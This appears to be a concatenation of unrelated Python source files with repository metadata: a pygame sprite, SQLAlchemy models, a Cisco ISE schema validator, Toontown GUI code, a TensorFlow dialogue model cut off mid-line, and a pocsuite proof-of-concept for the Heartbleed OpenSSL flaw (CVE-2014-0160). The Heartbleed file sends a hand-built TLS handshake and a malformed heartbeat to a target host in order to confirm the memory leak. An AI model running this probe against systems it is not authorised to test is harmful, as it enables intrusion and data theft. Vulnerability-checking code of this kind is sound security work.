import pygame from pygame.sprite import Sprite class Alien(Sprite): """表示单个外星人的类""" def __init__(self, ai_settings, screen): """初始化外星人并设置其起始位置""" super(Alien, self).__init__() self.screen = screen self.ai_settings = ai_settings # 加载外星人图像，并设置其rect属性 self.image = pygame.image.load('images/alien.bmp') self.rect = self.image.get_rect() # 每个外星人最初都在屏幕左上角附近 self.rect.x = self.rect.width self.rect.y = self.rect.height # 存储外星人的准确位置 self.x = float(self.rect.x) def blitme(self): """在指定位置绘制外星人""" self.screen.blit(self.image, self.rect) def check_edges(self): """如果外星人位于屏幕边缘，就返回True""" screen_rect = self.screen.get_rect() if self.rect.right >= screen_rect.right: return True elif self.rect.left <= 0: return True def update(self): """向左或向右移动外星人""" self.x += (self.ai_settings.alien_speed_factor * self.ai_settings.fleet_direction) self.rect.x = self.x

[ "wqr571@outlook.com" ]

wqr571@outlook.com

3e3460ed023a46892882b4db2f912938a5a5f08b

16bf89ec6848c78f4aad3e87b5e386bb86f92815

/Mypython-code-master/badasechota.py

0991fe952c0eaea211b90fa276f746abd7462462

[]

no_license

95ankitmishra/Program-data_structure

bae865e72800ade5ed99feb516015820ac876805

fc2e9a09c5e382a718b44d9e1ee03cad3442f2f7

refs/heads/master

2020-06-17T22:18:02.785493

2019-07-09T21:00:53

196,077,979

0

null

UTF-8

Python

false

114

py

arr=[int(x) for x in input("enter elements").split(',')] arr.sort() arr.reverse() print("bada se chota",arr)

[ "noreply@github.com" ]

95ankitmishra.noreply@github.com

96a7799af3063690f59693c3545834464fa5aaaf

77178627b46d5b0440d64af70b88bdb91f5269ab

/blog/models.py

8872bbb7a55fa2a08875969e0b06b12647a011f3

[]

no_license

daredavil01/blog-fastapi

a9f40835fdc9b42151fa049c0aab3f1a62e810da

4153a150c4380537d00f747b2445f4e183c34cb4

refs/heads/main

2023-06-26T07:24:12.830961

2021-07-31T14:50:24

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from sqlalchemy import Column, Integer, String, ForeignKey from blog.database import Base from sqlalchemy.orm import relationship class Blog(Base): __tablename__ = 'blogs' id = Column(Integer, primary_key=True, index=True) title = Column(String) body = Column(String) user_id = Column(Integer, ForeignKey("users.id")) creator = relationship("User", back_populates="blogs") class User(Base): __tablename__ = 'users' id = Column(Integer, primary_key=True, index=True) name = Column(String) email = Column(String) password = Column(String) blogs = relationship("Blog", back_populates="creator")

[ "sanket.tambare01@gmail.com" ]

sanket.tambare01@gmail.com

3ea536a721bb17fa0229848067424923e14c558e

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/tests/models/validators/v3_1_patch_1/jsd_c0984cde5e925c209ab87472ab905476.py

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[ "MIT" ]

permissive

CiscoISE/ciscoisesdk

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f468c54998ec1ad85435ea28988922f0573bfee8

refs/heads/main

2023-09-04T23:56:32.232035

2023-08-25T17:31:49

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MIT

2023-08-25T17:31:51

2021-05-07T21:43:52

Python

UTF-8

Python

false

8,186

py

# -*- coding: utf-8 -*- """Identity Services Engine getNetworkAccessConditionsForPolicySets data model. Copyright (c) 2021 Cisco and/or its affiliates. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ from __future__ import absolute_import, division, print_function, unicode_literals import json from builtins import * import fastjsonschema from ciscoisesdk.exceptions import MalformedRequest class JSONSchemaValidatorC0984Cde5E925C209Ab87472Ab905476(object): """getNetworkAccessConditionsForPolicySets request schema definition.""" def __init__(self): super(JSONSchemaValidatorC0984Cde5E925C209Ab87472Ab905476, self).__init__() self._validator = fastjsonschema.compile(json.loads( '''{ "$schema": "http://json-schema.org/draft-04/schema#", "properties": { "response": { "items": { "properties": { "attributeName": { "type": "string" }, "attributeValue": { "type": "string" }, "children": { "items": { "properties": { "conditionType": { "enum": [ "ConditionAndBlock", "ConditionAttributes", "ConditionOrBlock", "ConditionReference", "LibraryConditionAndBlock", "LibraryConditionAttributes", "LibraryConditionOrBlock", "TimeAndDateCondition" ], "type": "string" }, "isNegate": { "type": "boolean" }, "link": { "properties": { "href": { "type": "string" }, "rel": { "enum": [ "next", "previous", "self", "status" ], "type": "string" }, "type": { "type": "string" } }, "type": "object" } }, "type": "object" }, "type": "array" }, "conditionType": { "enum": [ "ConditionAndBlock", "ConditionAttributes", "ConditionOrBlock", "ConditionReference", "LibraryConditionAndBlock", "LibraryConditionAttributes", "LibraryConditionOrBlock", "TimeAndDateCondition" ], "type": "string" }, "datesRange": { "properties": { "endDate": { "type": "string" }, "startDate": { "type": "string" } }, "type": "object" }, "datesRangeException": { "properties": { "endDate": { "type": "string" }, "startDate": { "type": "string" } }, "type": "object" }, "description": { "type": "string" }, "dictionaryName": { "type": "string" }, "dictionaryValue": { "type": "string" }, "hoursRange": { "properties": { "endTime": { "type": "string" }, "startTime": { "type": "string" } }, "type": "object" }, "hoursRangeException": { "properties": { "endTime": { "type": "string" }, "startTime": { "type": "string" } }, "type": "object" }, "id": { "type": "string" }, "isNegate": { "type": "boolean" }, "link": { "properties": { "href": { "type": "string" }, "rel": { "enum": [ "next", "previous", "self", "status" ], "type": "string" }, "type": { "type": "string" } }, "type": "object" }, "name": { "type": "string" }, "operator": { "enum": [ "contains", "endsWith", "equals", "greaterOrEquals", "greaterThan", "in", "ipEquals", "ipGreaterThan", "ipLessThan", "ipNotEquals", "lessOrEquals", "lessThan", "matches", "notContains", "notEndsWith", "notEquals", "notIn", "notStartsWith", "startsWith" ], "type": "string" }, "weekDays": { "items": { "enum": [ "Friday", "Monday", "Saturday", "Sunday", "Thursday", "Tuesday", "Wednesday" ], "type": "string" }, "type": "array" }, "weekDaysException": { "items": { "enum": [ "Friday", "Monday", "Saturday", "Sunday", "Thursday", "Tuesday", "Wednesday" ], "type": "string" }, "type": "array" } }, "type": "object" }, "type": "array" }, "version": { "type": "string" } }, "required": [ "response", "version" ], "type": "object" }'''.replace("\n" + ' ' * 16, '') )) def validate(self, request): try: self._validator(request) except fastjsonschema.exceptions.JsonSchemaException as e: raise MalformedRequest( '{} is invalid. Reason: {}'.format(request, e.message) )

[ "bvargas@altus.cr" ]

bvargas@altus.cr

e1b200a25da813398431400b47064af2a8e368d4

8e69eee9b474587925e22413717eb82e4b024360

/v2.5.7/toontown/parties/CalendarGuiMonth.py

1fb599e6de7003a2926a7423453b5db44280d3e1

[ "MIT" ]

permissive

TTOFFLINE-LEAK/ttoffline

afaef613c36dc3b70514ccee7030ba73c3b5045b

bb0e91704a755d34983e94288d50288e46b68380

refs/heads/master

2020-06-12T15:41:59.411795

2020-04-17T08:22:55

194,348,185

5

4

null

UTF-8

Python

false

13,713

py

import calendar from datetime import timedelta, datetime from panda3d.core import Vec4, TextNode from direct.gui.DirectGui import DirectFrame, DirectLabel, DirectButton, DirectScrolledList, DGG from toontown.toonbase import TTLocalizer from toontown.toonbase import ToontownGlobals from toontown.parties.CalendarGuiDay import CalendarGuiDay class CalendarGuiMonth(DirectFrame): notify = directNotify.newCategory('CalendarGuiMonth') def __init__(self, parent, startingDateTime, scale=1.0, pos=(0, 0, -0.1), dayClickCallback=None, onlyFutureDaysClickable=False, onlyFutureMonthsClickable=False): self.startDate = startingDateTime self.curDate = startingDateTime self.dayClickCallback = dayClickCallback self.onlyFutureDaysClickable = onlyFutureDaysClickable self.onlyFutureMonthsClickable = onlyFutureMonthsClickable if self.onlyFutureDaysClickable: self.onlyFutureMonthsClickable = True DirectFrame.__init__(self, parent=parent, scale=scale, pos=pos) self.showMarkers = config.GetBool('show-calendar-markers', 0) self.load() self.createGuiObjects() self.lastSelectedDate = None self.accept('clickedOnDay', self.clickedOnDay) return def createDummyLocators(self): self.monthLocator = self.attachNewNode('monthLocator') self.monthLocator.setZ(0.6) self.weekDayLocators = [] for i in xrange(7): self.weekDayLocators.append(self.attachNewNode('weekDayLocator-%d' % i)) self.weekDayLocators[i].setZ(0.5) self.weekDayLocators[i].setX(i * 0.24 + -0.75) dayTopLeftX = -0.8 dayTopLeftZ = 0.4 self.dayLocators = [] for row in xrange(6): oneWeek = [] for col in xrange(7): newDayLoc = self.attachNewNode('dayLocator-row-%d-col-%d' % (row, col)) newDayLoc.setX(col * 0.24 + dayTopLeftX) newDayLoc.setZ(row * -0.18 + dayTopLeftZ) oneWeek.append(newDayLoc) self.dayLocators.append(oneWeek) self.monthLeftLocator = self.attachNewNode('monthLeft') self.monthLeftLocator.setPos(-0.3, 0, 0.65) self.monthRightLocator = self.attachNewNode('monthRight') self.monthRightLocator.setPos(0.3, 0, 0.65) def attachMarker(self, parent, scale=0.01, color=(1, 0, 0)): if self.showMarkers: marker = loader.loadModel('phase_3/models/misc/sphere') marker.reparentTo(parent) marker.setScale(scale) marker.setColor(*color) def load(self): if base.cr.newsManager.isHolidayRunning(ToontownGlobals.ORANGES): self.monthLabel = DirectLabel(parent=self, relief=None, text='IT IS MARCH 32', text_scale=0.075, text_font=ToontownGlobals.getSuitFont(), text_fg=(40 / 255.0, 140 / 255.0, 246 / 255.0, 1.0)) else: monthAsset = loader.loadModel('phase_4/models/parties/tt_m_gui_sbk_calendar') monthAsset.reparentTo(self) self.monthLocator = self.find('**/locator_month/locator_month') self.attachMarker(self.monthLocator) self.weekDayLocators = [] for weekday in ('sun', 'mon', 'tue', 'wed', 'thu', 'fri', 'sat'): weekDayLoc = self.find('**/loc_%s' % weekday) self.weekDayLocators.append(weekDayLoc) self.attachMarker(weekDayLoc) self.dayLocators = [] for row in xrange(6): oneWeek = [] for col in xrange(7): newDayLoc = self.find('**/loc_box_%s_%s' % (row, col)) oneWeek.append(newDayLoc) self.dayLocators.append(oneWeek) self.monthLeftLocator = self.find('**/locator_month_arrowL') self.monthRightLocator = self.find('**/locator_month_arrowR') self.filterLocator = self.find('**/locator_filter') self.filterLocatorArrowUp = self.find('**/locator_filter_arrowTop') self.filterLocatorArrowDown = self.find('**/locator_filter_arrowBottom') self.yearLocator = self.attachNewNode('yearLocator') self.yearLocator.setPos(self.monthLocator, 0, 0, -0.03) return def createGuiObjects(self): if base.cr.newsManager.isHolidayRunning(ToontownGlobals.ORANGES): return self.monthLabel = DirectLabel(parent=self.monthLocator, relief=None, text=TTLocalizer.Months[self.startDate.month], text_scale=0.075, text_font=ToontownGlobals.getMinnieFont(), text_fg=(40 / 255.0, 140 / 255.0, 246 / 255.0, 1.0)) self.yearLabel = DirectLabel(parent=self.yearLocator, relief=None, text=str(self.startDate.year), text_scale=0.03, text_font=ToontownGlobals.getMinnieFont(), text_fg=(140 / 255.0, 140 / 255.0, 246 / 255.0, 1.0)) self.weekdayLabels = [] for posIndex in xrange(7): adjustedNameIndex = (posIndex - 1) % 7 self.weekdayLabels.append(DirectLabel(parent=self.weekDayLocators[posIndex], relief=None, text=TTLocalizer.DayNamesAbbrev[adjustedNameIndex], text_font=ToontownGlobals.getInterfaceFont(), text_fg=(255 / 255.0, 146 / 255.0, 113 / 255.0, 1.0), text_scale=0.05)) self.createGuiDays() arrowUp = self.find('**/month_arrowR_up') arrowDown = self.find('**/month_arrowR_down') arrowHover = self.find('**/month_arrowR_hover') self.monthLeftArrow = DirectButton(parent=self.monthLeftLocator, relief=None, image=(arrowUp, arrowDown, arrowHover, arrowUp), image3_color=Vec4(1, 1, 1, 0.5), scale=(-1.0, 1.0, 1.0), command=self.__doMonthLeft) if self.onlyFutureMonthsClickable: self.monthLeftArrow.hide() self.monthRightArrow = DirectButton(parent=self.monthRightLocator, relief=None, image=(arrowUp, arrowDown, arrowHover, arrowUp), image3_color=Vec4(1, 1, 1, 0.5), command=self.__doMonthRight) def makeLabel(itemName, itemNum, *extraArgs): return DirectLabel(text=itemName, frameColor=(0, 0, 0, 0), text_scale=0.04) gui = loader.loadModel('phase_4/models/parties/tt_m_gui_sbk_calendar_box') arrowUp = gui.find('**/downScroll_up') arrowDown = gui.find('**/downScroll_down') arrowHover = gui.find('**/downScroll_hover') filterLocatorUpPos = self.filterLocatorArrowUp.getPos(self.filterLocator) filterLocatorDownPos = self.filterLocatorArrowDown.getPos(self.filterLocator) self.filterList = DirectScrolledList(parent=self.filterLocator, relief=None, pos=(0, 0, 0), image=None, text_scale=0.025, incButton_image=(arrowUp, arrowDown, arrowHover, arrowUp), incButton_relief=None, incButton_pos=filterLocatorDownPos, incButton_image3_color=Vec4(1, 1, 1, 0.2), incButtonCallback=self.filterChanged, decButton_image=(arrowUp, arrowDown, arrowHover, arrowUp), decButton_relief=None, decButton_pos=filterLocatorUpPos, decButton_scale=(1, 1, -1), decButton_image3_color=Vec4(1, 1, 1, 0.2), decButtonCallback=self.filterChanged, numItemsVisible=1, itemMakeFunction=makeLabel, items=[TTLocalizer.CalendarShowAll, TTLocalizer.CalendarShowOnlyHolidays, TTLocalizer.CalendarShowOnlyParties], itemFrame_frameSize=(-0.2, 0.2, -0.02, 0.05), itemFrame_frameColor=(0, 0, 0, 0)) gui.removeNode() return def getTopLeftDate(self): firstOfTheMonth = self.curDate.replace(day=1) daysAwayFromSunday = (firstOfTheMonth.weekday() - 6) % 7 topLeftDate = firstOfTheMonth + timedelta(days=-daysAwayFromSunday) return topLeftDate def createGuiDays(self): topLeftDate = self.getTopLeftDate() curDate = topLeftDate self.guiDays = [] for row in self.dayLocators: for oneLocator in row: self.guiDays.append(CalendarGuiDay(oneLocator, curDate, self.curDate, self.dayClickCallback, self.onlyFutureDaysClickable)) curDate += timedelta(days=1) def changeDateForGuiDays(self): topLeftDate = self.getTopLeftDate() guiDayDate = topLeftDate for guiDay in self.guiDays: guiDay.changeDate(self.curDate, guiDayDate) guiDayDate += timedelta(days=1) def changeMonth(self, monthChange): if hasattr(base, 'cr') and base.cr.newsManager.isHolidayRunning(ToontownGlobals.ORANGES): return if monthChange != 0: newMonth = self.curDate.month + monthChange newYear = self.curDate.year while newMonth > 12: newYear += 1 newMonth -= 12 while newMonth < 1: if newYear - 1 > 1899: newMonth += 12 newYear -= 1 else: newMonth += 1 self.curDate = datetime(newYear, newMonth, 1, self.curDate.time().hour, self.curDate.time().minute, self.curDate.time().second, self.curDate.time().microsecond, self.curDate.tzinfo) self.monthLabel['text'] = ( TTLocalizer.Months[self.curDate.month],) self.yearLabel['text'] = (str(self.curDate.year),) startTime = globalClock.getRealTime() self.changeDateForGuiDays() endTime = globalClock.getRealTime() self.notify.debug('changeDate took %f seconds' % (endTime - startTime)) self.updateSelectedDate() if monthChange != 0: if self.onlyFutureMonthsClickable and newMonth == self.startDate.month and newYear == self.startDate.year: self.monthLeftArrow.hide() def __doMonthLeft(self): self.changeMonth(-1) def __doMonthRight(self): self.monthLeftArrow.show() self.changeMonth(1) def destroy(self): self.ignoreAll() try: self.dayClickCallback = None self.monthLeftArrow.destroy() self.monthRightArrow.destroy() for day in self.guiDays: if day is not None: day.destroy() day = None self.filterList.destroy() except: pass DirectFrame.destroy(self) return def clickedOnDay(self, dayDate): self.lastSelectedDate = dayDate self.updateSelectedDate() def updateSelectedDate(self): if self.lastSelectedDate: for oneGuiDay in self.guiDays: if oneGuiDay.myDate.date() == self.lastSelectedDate: oneGuiDay.updateSelected(True) else: oneGuiDay.updateSelected(False) def clearSelectedDay(self): for oneGuiDay in self.guiDays: oneGuiDay.updateSelected(False) def filterChanged(self): newFilter = self.filterList.getSelectedIndex() for guiDay in self.guiDays: guiDay.changeFilter(newFilter)

[ "s0mberdemise@protonmail.com" ]

s0mberdemise@protonmail.com

dd946e558805e70e2ba90c922d602e5869cd007a

7c0dd68e474c345d022b9d879a31cc82e0b438cf

/openssl_heartbleed.py

75e7fc2cafa0424e450d6970247f51e9629ac53e

[]

no_license

liyanghack/-

8de6e2be931faea680b9c1f8e35a2a0c8cd5bc3a

9abab66543e19a4b444a79f2ee790b1eafaacc01

refs/heads/master

2021-02-22T04:40:08.921551

2020-03-13T11:10:13

245,369,458

0

null

UTF-8

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false

5,072

py

#!/usr/bin/env python # -*- coding:utf-8 -*- from pocsuite.api.poc import Output, POCBase from pocsuite.api.poc import register from pocsuite.thirdparty.guanxing import parse_ip_port import struct import socket import time import select socket.setdefaulttimeout(5) def request2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') client_key_exchange = request2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') malformed_heartbeat = request2bin(''' 18 03 02 00 03 01 40 00 ''') def get_msg_from_socket(some_socket, msg_length, time_out=5): end_time = time.time() + time_out received_data = '' remaining_msg = msg_length while remaining_msg > 0: read_time = end_time - time.time() if read_time < 0: return None read_socket, write_socket, error_socket = select.select([some_socket], [], [], time_out) if some_socket in read_socket: data = some_socket.recv(remaining_msg) if not data: return None else: received_data += data remaining_msg -= len(data) else: pass return received_data def recv_msg(a_socket): header = get_msg_from_socket(a_socket, 5) if header is None: return None, None, None message_type, message_version, message_length = struct.unpack('>BHH', header) message_payload = get_msg_from_socket(a_socket, message_length, 10) if message_payload is None: return None, None, None return message_type, message_version, message_payload def send_n_catch_heartbeat(our_socket): our_socket.send(malformed_heartbeat) while True: content_type, content_version, content_payload = recv_msg(our_socket) if content_type is None: return False if content_type == 24: return True if content_type == 21: return False def main(rhost): global port ip,port = parse_ip_port(rhost) # 预定义默认端口 if not port : port = 443 local_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) local_socket.connect((ip, int(port))) local_socket.send(client_key_exchange) while True: type, version, payload = recv_msg(local_socket) if not type: return if type == 22 and ord(payload[0]) == 0x0E: break local_socket.send(malformed_heartbeat) return send_n_catch_heartbeat(local_socket) class TestPOC(POCBase): vulID = 'DSO-00046' version = '' author = 'ly' vulDate = '2014-04-08' createDate = '2020-03-09' updateDate = '2020-03-13' references = ['https://zh.wikipedia.org/wiki/%E5%BF%83%E8%84%8F%E5%87%BA%E8%A1%80%E6%BC%8F%E6%B4%9E'] name = 'Openssl 1.0.1 内存读取信息泄露漏洞' appPowerLink = '' appName = 'OpenSSL' appVersion = '1.0.1~1.0.1f, 1.0.2-beta, 1.0.2-beta1' vulType = 'info-disclosure' # 漏洞描述 desc = ''' 即“心脏出血漏洞”，这项严重缺陷(CVE-2014-0160)的产生是由于未能在memcpy()调用受害用户输入内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSL所分配的64KB缓存、将超出必要范围的字节信息复制到缓存当中再返回缓存内容，从而获取用户信息。 ''' # the sample sites for examine samples = [''] install_requires = [''] cveID = 'CVE-2014-0160' severity = 'high' solution = ''' 为了解决此漏洞，除了需要安装修复后的软件（OpenSSL动态库及静态使用OpenSSL的二进制文件）之外，还可能要做其他的事。运行中的、依赖于OpenSSL的应用程序仍会使用在内存中的有缺陷OpenSSL代码，直至重新启动，才能堵住漏洞。此外，即使漏洞本身已经修复，因漏洞受到攻击的系统在保密性、甚至完整性上仍存隐患。为了重新获得保密性和可信度，服务器必须重新生成所有受损的私钥-公钥对，并撤销及替换与之相关的所有证书。一般来说，必须更换所有受到影响的认证资料（例如密码），因为难以确认受漏洞影响的系统是否已被攻击。 ''' taskType = 'app-vul' def _verify(self): # print self.url response = main(self.url) # print response return self.parse_attack(response) def _attack(self): return self._verify() def parse_attack(self, response): output = Output(self) result = {} if response: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = '%s' % self.url result['VerifyInfo']['port'] = port output.success(result) else: output.fail('Failed') return output register(TestPOC)

[ "noreply@github.com" ]

liyanghack.noreply@github.com

2138e45b6ad500c213d7da873af0a2b31989b382

eb3395ce39347c6a19821ff9ab224b288f8e83fb

/ndm/model_cnn12_bn_att_a_w2targs.py

1d7eb52ddb18d34dd3b8b8a9f23e835fb5172ebc

[ "Apache-2.0" ]

permissive

oplatek/ndm

86e06ac9dc62ff45f5c3ad35b6892d23650f614d

d32bd9d685902d9da52b7e7abd286fb5d9c7274a

refs/heads/master

2021-07-11T02:22:16.570947

2016-02-18T11:21:03

52,531,623

0

null

2016-02-25T14:35:47

null

UTF-8

Python

false

14,624

py

#!/usr/bin/env python3 import sys import tensorflow as tf from model import ModelW2T, ModelW2TArgs from tfx.bricks import embedding, dense_to_one_hot, linear, conv2d, multicolumn_embedding, \ glorot_mul, reduce_max, dropout, conv2d_bn, batch_norm_lin, pow_1, softmax_2d class Model(ModelW2TArgs): def __init__(self, data, FLAGS): super(Model, self).__init__(data, FLAGS) database_column_embedding_size = 8 n_database_columns = len(data.database_columns) conv_mul = 2 histories_embedding_size = 16 histories_vocabulary_length = len(data.idx2word_history) history_length = data.train_set['histories'].shape[1] histories_arguments_embedding_size = 8 histories_arguments_vocabulary_length = len(data.idx2word_history_arguments) n_histories_arguments = data.train_set['histories_arguments'].shape[1] action_templates_vocabulary_length = len(data.idx2word_action_template) action_templates_embedding_size = 8 num_actions_arguments = data.batch_actions_arguments.shape[2] actions_arguments_vocabulary_length = len(data.idx2word_action_arguments) with tf.name_scope('data'): database = tf.Variable(data.database, name='database', trainable=False) batch_histories = tf.Variable(data.batch_histories, name='histories', trainable=False) batch_histories_arguments = tf.Variable(data.batch_histories_arguments, name='histories_arguments', trainable=False) batch_actions_template = tf.Variable(data.batch_actions_template, name='actions', trainable=False) batch_action_arguments = tf.Variable(data.batch_actions_arguments, name='actions_arguments', trainable=False) histories = tf.gather(batch_histories, self.batch_idx) histories_arguments = tf.gather(batch_histories_arguments, self.batch_idx) actions_template = tf.gather(batch_actions_template, self.batch_idx) actions_arguments = tf.gather(batch_action_arguments, self.batch_idx) with tf.name_scope('model'): database_embedding = multicolumn_embedding( columns=database, lengths=[len(i2w) for i2w in [data.database_idx2word[column] for column in data.database_columns]], sizes=[database_column_embedding_size for column in data.database_columns], # all columns have the same size name='database_embedding' ) histories_embedding = embedding( input=histories, length=histories_vocabulary_length, size=histories_embedding_size, name='histories_embedding' ) histories_arguments_embedding = embedding( input=histories_arguments, length=histories_arguments_vocabulary_length, size=histories_arguments_embedding_size, name='histories_arguments_embedding' ) with tf.name_scope("UtterancesEncoder"): conv3 = histories_embedding # conv3 = dropout(conv3, pow_1(self.dropout_keep_prob, 2)) conv3 = conv2d_bn( input=conv3, filter=[1, 3, conv3.size, conv3.size * conv_mul], phase_train=self.phase_train, name='conv_utt_size_3_layer_1' ) encoded_utterances = reduce_max(conv3, [2], keep_dims=True, name='encoded_utterances') with tf.name_scope("HistoryEncoder"): conv3 = encoded_utterances conv3 = dropout(conv3, pow_1(self.dropout_keep_prob, 2)) conv3 = conv2d_bn( input=conv3, filter=[3, 1, conv3.size, conv3.size * conv_mul], phase_train=self.phase_train, name='conv_hist_size_3_layer_1' ) conv3 = dropout(conv3, pow_1(self.dropout_keep_prob, 2)) conv3 = conv2d_bn( input=conv3, filter=[3, 1, conv3.size, conv3.size * conv_mul], phase_train=self.phase_train, name='conv_hist_size_3_layer_2' ) encoded_history = reduce_max(conv3, [1, 2], name='encoded_history') # print(encoded_history) with tf.name_scope("DatabaseAttention"): histories_arguments_embedding = tf.reshape( histories_arguments_embedding, [-1, n_histories_arguments * histories_arguments_embedding_size], name='histories_arguments_embedding' ) # print(histories_arguments_embedding) history_predicate = tf.concat( 1, [encoded_history, histories_arguments_embedding], name='history_predicate' ) # print(history_predicate) att_W_nx = conv3.size + n_histories_arguments * histories_arguments_embedding_size att_W_ny = n_database_columns * database_column_embedding_size att_W = tf.get_variable( name='attention_W', shape=[att_W_nx, att_W_ny], initializer=tf.random_uniform_initializer( -glorot_mul(att_W_nx, att_W_ny), glorot_mul(att_W_nx, att_W_ny) ), ) hp_x_att_W = tf.matmul(history_predicate, att_W) attention_scores = tf.matmul(hp_x_att_W, database_embedding, transpose_b=True) attention = tf.nn.softmax(attention_scores, name="attention_softmax") print(attention) attention_max = tf.reduce_max(attention, reduction_indices=1, keep_dims=True) attention_min = tf.reduce_min(attention, reduction_indices=1, keep_dims=True) attention_mean = tf.reduce_mean(attention_scores, reduction_indices=1, keep_dims=True) attention_feat = tf.concat(1, [attention_max, attention_mean, attention_min], name='attention_feat') attention_feat_size = 3 # print(attention_feat) db_result = tf.matmul(attention, database_embedding, name='db_result') db_result_size = att_W_ny # print(db_result) with tf.name_scope("Decoder"): second_to_last_user_utterance = encoded_utterances[:, history_length - 3, 0, :] last_system_utterance = encoded_utterances[:, history_length - 2, 0, :] last_user_utterance = encoded_utterances[:, history_length - 1, 0, :] dialogue_state = tf.concat( 1, [ encoded_history, last_user_utterance, last_system_utterance, second_to_last_user_utterance, attention_feat, db_result ], name='dialogue_state' ) dialogue_state_size = ( conv3.size + 3 * histories_embedding_size * conv_mul + attention_feat_size + db_result_size + 0 ) dialogue_state = tf.nn.relu(dialogue_state) dialogue_state = dropout(dialogue_state, self.dropout_keep_prob) # action prediction projection = linear( input=dialogue_state, input_size=dialogue_state_size, output_size=dialogue_state_size, name='linear_projection_1' ) projection = batch_norm_lin(projection, dialogue_state_size, self.phase_train, name='linear_projection_1_bn') activation = tf.nn.relu(projection) activation = dropout(activation, self.dropout_keep_prob) projection = linear( input=activation, input_size=dialogue_state_size, output_size=dialogue_state_size, name='linear_projection_2' ) projection = batch_norm_lin(projection, dialogue_state_size, self.phase_train, name='linear_projection_2_bn') activation = tf.nn.relu(projection) activation = dropout(activation, self.dropout_keep_prob) projection = linear( input=activation, input_size=dialogue_state_size, output_size=action_templates_vocabulary_length, name='linear_projection_3_predictions_action' ) self.predictions_action = tf.nn.softmax(projection, name="softmax_output_prediction_action") # argument prediction # first encode decoded action template and teh true action template choice = tf.floor(tf.random_uniform([1], self.use_inputs_prob, 1 + self.use_inputs_prob, tf.float32)) prediction_action_argmax = tf.stop_gradient(tf.argmax(self.predictions_action, 1)) predicted_action_templates_embedding = embedding( input=prediction_action_argmax, length=action_templates_vocabulary_length, size=action_templates_embedding_size, name='action_templates_embedding' ) true_action_template_embedding = tf.gather(predicted_action_templates_embedding.embedding_table, actions_template) predicted_action_templates_embedding = tf.stop_gradient(predicted_action_templates_embedding) action_templates_embedding = choice * true_action_template_embedding + (1.0 - choice) * predicted_action_templates_embedding dialogue_state_action_template = tf.concat( 1, [ dialogue_state, action_templates_embedding ], name='dialogue_state_action_template' ) dialogue_state_action_template_size = ( dialogue_state_size + action_templates_embedding_size ) # condition on the dialogue state and the decoded template projection = linear( input=dialogue_state_action_template, input_size=dialogue_state_action_template_size, output_size=dialogue_state_action_template_size, name='linear_projection_1_predictions_arguments' ) projection = batch_norm_lin(projection, dialogue_state_action_template_size, self.phase_train, name='linear_projection_1_predictions_arguments_bn') activation = tf.nn.relu(projection) activation = dropout(activation, self.dropout_keep_prob) projection = linear( input=activation, input_size=dialogue_state_action_template_size, output_size=dialogue_state_action_template_size, name='linear_projection_2_predictions_arguments' ) projection = batch_norm_lin(projection, dialogue_state_action_template_size, self.phase_train, name='linear_projection_2_predictions_arguments_bn') activation = tf.nn.relu(projection) activation = dropout(activation, self.dropout_keep_prob) projection = linear( input=activation, input_size=dialogue_state_action_template_size, output_size=num_actions_arguments * actions_arguments_vocabulary_length, name='linear_projection_3_predictions_arguments' ) self.predictions_arguments = softmax_2d( input=projection, n_classifiers=num_actions_arguments, n_classes=actions_arguments_vocabulary_length, name="softmax_2d_predictions_arguments") if FLAGS.print_variables: for v in tf.trainable_variables(): print(v.name) with tf.name_scope('loss'): one_hot_labels_action = dense_to_one_hot(actions_template, action_templates_vocabulary_length) one_hot_labels_arguments = dense_to_one_hot(actions_arguments, actions_arguments_vocabulary_length) loss_action = tf.reduce_mean( - one_hot_labels_action * tf.log(tf.clip_by_value(self.predictions_action, 1e-10, 1.0)), name='loss' ) loss_arguments = tf.reduce_mean( - one_hot_labels_arguments * tf.log(tf.clip_by_value(self.predictions_arguments, 1e-10, 1.0)), name='loss' ) self.loss = (loss_action + loss_arguments)/2 tf.scalar_summary('loss', self.loss) with tf.name_scope('accuracy'): correct_prediction_action = tf.equal( tf.argmax(one_hot_labels_action, 1), tf.argmax(self.predictions_action, 1) ) self.accuracy_action = tf.reduce_mean(tf.cast(correct_prediction_action, 'float')) tf.scalar_summary('accuracy_action', self.accuracy_action) correct_prediction_arguments = tf.equal(tf.argmax(one_hot_labels_arguments, 2), tf.argmax(self.predictions_arguments, 2)) self.accuracy_arguments = tf.reduce_mean(tf.cast(correct_prediction_arguments, 'float')) tf.scalar_summary('accuracy_arguments', 